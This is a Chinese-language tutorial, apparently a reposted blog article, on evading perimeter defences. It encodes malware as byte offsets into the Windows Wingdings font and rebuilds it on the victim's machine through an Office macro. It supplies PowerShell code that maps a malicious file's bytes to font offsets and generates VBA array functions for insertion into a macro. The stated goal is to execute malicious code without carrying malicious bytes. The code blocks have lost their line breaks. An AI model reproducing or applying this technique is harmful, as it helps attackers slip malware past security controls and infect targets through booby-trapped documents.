如何利用Windows系统字体来创建恶意软件

这篇文章将为大家详细讲解有关如何利用Windows系统字体来创建恶意软件,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

步骤

在大多数情况下,一般的网络攻击需分成下面这三个步骤来进行:

1、 传递一个包含了Payload的文件,该文件需包含:

a)需要执行的恶意代码

b)或者

c)非恶意代码,因为Payload可以在第三步中下载恶意组件

2、 诱使目标用户执行Payload;

3、 接下来,Payload将会:

a)执行恶意组件

b)或者

c)下载恶意组件,然后执行

我的目标

我想要的解决方案应该满足以下几个条件:

1、 不包含任何恶意代码(甚至连恶意字节都没有),以绕过边界防护。

2、 不用下载任何恶意代码。

3、 最终执行恶意代码。

利用目标主机中的字体实现恶意软件自生成。

首先,我们需要找出每一个Windows操作系统版本都包含的一个组件,结果我找到了这个:

如何利用Windows系统字体来创建恶意软件

我对比了多个Windows版本中的Wingdings字体,然后发现这个字体在每个版本中都是一样的。

因此,我打算利用这个字体来实现我的“小”目标。应该怎么做呢?方法大致如下:

1、 在我们的主机上,收集我们恶意软件的字节数据。

2、 拿恶意软件的第一个字节跟Wingdings字体进行对比。

3、 在字体中找到了相同字节之后,在文本文件中记录它的位置。

4、 重复这个过程,直到找出恶意软件中包含的所有字节,然后在文本文件中记录下它们的位置。

5、 我们的Payload将包含每个字节所对应的Wingdings字体位置。

6、 在目标主机上,Payload将会使用Wingdings字体的位置来转换成字节数据,并构建恶意组件。

下面给出的是用来找出字节对应字体位置的PowerShell代码:

$Font= "C:\Windows\Fonts\wingding.ttf"$Malware= "C:\Users\Administrator\Pictures\2.PNG" $fontArray= Get-Content $Font -Encoding Byte -ReadCount 0$malwareArray= Get-Content $Malware -Encoding Byte -ReadCount 0$offsetArray= @()foreach($byteInMalware in $malwareArray){    $index = 0    foreach ($byteInFont in $fontArray) {       if ($byteInMalware -eq $byteInFont) {            $offsetArray += $index            break        }        $index++    }   }

PowerShell代码将生成一个VBA代码,你可以将其插入到宏文件中,这份代码会生成一个包含字节位置信息的字节数组,它将负责构建你的恶意组件:

$i=0$payload= ""$j=0$u=1$payDef= ""foreach($offsetin $offsetArray){      if($i -eq 30) {        $payload = $payload + ", " +$offset + " _`r`n"        $i=0              $j++    }    else {       if($i -eq 0) {        $payload = $payload + $offset             }       else {        $payload = $payload + ", " +$offset             }    }    if($j -eq 25)  {        $payDef = $payDef + "`r`nFunctionccc$u()tt$u= Array($payload)ccc$u= tt$uEndFunction"        $payload = ""        $u++        $j = 0    }    $i++}if($payload-ne ""){$payDef= $payDef + "`r`nFunction ccc$u()tt$u= Array($payload)ccc$u= tt$uEndFunction"} $payDef

如何利用Windows系统字体来创建恶意软件